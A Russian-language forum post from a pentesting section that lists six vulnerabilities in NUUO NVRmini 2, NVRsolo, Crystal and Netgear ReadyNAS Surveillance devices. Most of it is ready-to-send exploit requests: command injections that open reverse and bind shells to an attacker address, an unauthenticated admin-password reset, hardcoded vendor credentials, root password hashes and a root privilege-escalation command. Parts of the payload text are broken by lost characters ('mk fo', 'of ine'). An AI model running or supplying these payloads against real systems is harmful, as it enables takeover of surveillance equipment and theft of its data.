Закрыто УЯЗВИМОСТИ В NUUO NVRMINI 2 / NVRSOLO / CRYSTAL DEVICES И NETGEAR READYNAS SURVEILLANCE

Тема в разделе "Пентестинг", создана пользователем Дима22, 23 апр 2017.

  1. Дима22

    Дима22

    Сообщения:
    672
    Баллы:
    18
    Уязвимость 1.

    Неправильная проверка вводимых данных приводит к удаленному выполнению кода

    Веб-интерфейс содержит скрытый файл с именем __debugging_center_ utils___.php, который неправильно проверяет параметр log и передает его значение в функцию system().

    Смотрите скрин
    Доступ к этому файлу может получить любой неавторизованный пользова- тель. В итоге мы можем сделать следующее:

    ReadyNAS Surveillance. Пример открытия бэк-шелла на адрес 192.168.1.204:9000 с правами admin:





    GET /__debugging_center_utils___.php?log=something%3bperl+-MIO%3a%3a
    Socket+-e+'$p%3dfork%3bexit,if($p)%3b$c%3dnew+IO%3a%3aSocket%3a%3a
    INET(PeerAddr,"192.168.1.204%3a9000")%3bSTDIN->fdopen($c,r)%3b
    $~->fdopen($c,w)%3bsystem$_+while<>%3b'
    NVRmini 2 и NVRsolo. Пример открытия двух шеллов на адрес 192.168.1.204, один на 9999-м порту, а другой — на 9998-м. Выполнение команд идет на 9999- м порту, а вывод получает 9998-й порт. Команды выполняются с правами root:

    GET /__debugging_center_utils___.php?log=something%3btelnet+192.168
    .1.204+9999+|+bash+|+telnet+192.168.1.204+9998


    Уязвимость 2.

    Неправильная проверка вводимых данных приводит к удаленному выполнению кода

    Скрипт handle_daylightsaving.php недостаточно надежно проверяет пара- метр NTPServer и передает его значение в функцию system().

    Смотрите скрин

    Для доступа к этому файлу уже нужна учетная запись авторизованного поль- зователя с правами администратора.

    ReadyNAS Surveillance. Создаем файл /tmp/test с выводом команды whoami:

    GET /handle_daylightsaving.php?act=update&NTPServer=bla%3b
    +whoami+>+/tmp/test
    NVRmini 2 и NVRsolo. Открываем шелл с правами root:

    GET /handle_daylightsaving.php?act=update&NTPServer=bla%3brm+/tmp/
    f%3bmk fo+/tmp/f%3bcat+/tmp/f|/bin/sh+-i+2>%261|nc+192.168.1.204
    +9000+>/tmp/f
    Crystal. Можем открыть шелл с правами root:
    GET /handle_daylightsaving.php?act=update&NTPServer=bla%3bbash+-i

    +>%26+/dev/tcp/192.168.1.204/4444+0>%26


    ------------
    Уязвимость 3.

    Сброс пароля администратора
    -----------
    В старых версиях прошивок и приложения ReadyNAS Surveillance неавторизованный
    пользователи могли обратиться к файлу cgi_system из веб-интерфей- са. Этот файл позволяет выполнять несколько интересных системных команд, таких как загрузка настроек по умолчанию. Это позволяет сбросить пароль ад- министратора. Похоже, что версии 2.2.1 и 3.0.0 прошивок NVRmini 2 и NVRsolo уже не уязвимы, хотя ReadyNAS Surveillance по-прежнему содержит уязвимость:

    GET /cgi-bin/cgi_system?cmd=loaddefcon g
    ------------

    Уязвимость 4.

    Раскрытие информации
    ----------------
    В веб-интерфейсе есть скрытый файл __nvr_status___.php с захардкоженны- ми логином и паролем, которые позволяют просмотреть список текущих про- цессов, информацию о доступной памяти и статус файловой системы. Эта ин- формация может быть получена неавторизованным пользователем с помощью следующего запроса:

    POST /__nvr_status___.php HTTP/1.1
    username=nuuoeng&password=qwe23622260&submit=Submit
    ---------------
    Уязвимость 5.

    Захардкоженный пароль администратора
    -------------
    NVRmini 2 и NVRsolo содержат два захардкоженных пароля для пользователя root (один закомментирован). У авторов эксплоита не получилось их подобрать, но они есть во всех устройствах NVRmini 2 и NVRsolo.
    NVRmini 2

    #root:$1$1b0pmacH$sP7VdEAv01TvOk1JSl2L6/:14495:0:99999:7:::
    root:$1$vd3TecoS$VyBh4/IsumZkqFU.1wfrV.:14461:0:99999:7:::
    NVRsolo

    #root:$1$1b0pmacH$sP7VdEAv01TvOk1JSl2L6/:14495:0:99999:7:::
    root:$1$72ZFYrXC$aDYHvkWBGcRRgCrpSCpiw1:0:0:99999:7:::
    --------
    Уязвимость 6.

    Инъекция команд в transfer_license
    ---------
    У этой уязвимости есть ограничение: для удаленной атаки требуется аккаунт администратора, а для локальной — права авторизованного пользователя.

    В команду transfer_license можно внедрить свою команду через пара- метр sn:

    cgi_main?cmd=transfer_license&method=of ine&sn=";<command>;#
    Эти данные будут переданы напрямую в C-функцию system() в исполняемом файле cgi_main (дальше мы подробнее рассмотрим этот фрагмент кода). NVRmini 2. Можно открыть шелл на порту 4444:

    GET /cgi-bin/cgi_main?cmd=transfer_license&method=of ine&sn="%3b
    nc+-l+-p+4444+-e+/bin/sh+%26+%23
    В Netgear Surveillance нет netcat, но можно получить OpenSSL реверс-шелл по адресу 192.168.133.204:4444:

    GET /cgi-bin/cgi_main?cmd=transfer_license&method=of ine&sn="%3b
    mk fo+/tmp/s%3b+/bin/bash+-i+<+/tmp/s+2>%261+|+openssl+s_client
    +-quiet+-connect+192.168.133.204%3a4444+>+/tmp/s%3b+rm+/tmp/s%3b%23
    Эту уязвимость может использовать любой авторизованный пользователь для повышения своих прав до root или admin с помощью следующей команды:

    CGI_DEBUG=qwe23622260 cgi_main transfer_license 'method=of ine
    &sn=<PAYLOAD>'
    Исполняемый файл cgi_main находится в /apps/surveillance/bin/cgi_ main на устройстве ReadyNAS. В NVRmini 2 это /NUUO/bin/cgi_main.

Поделиться этой страницей

Top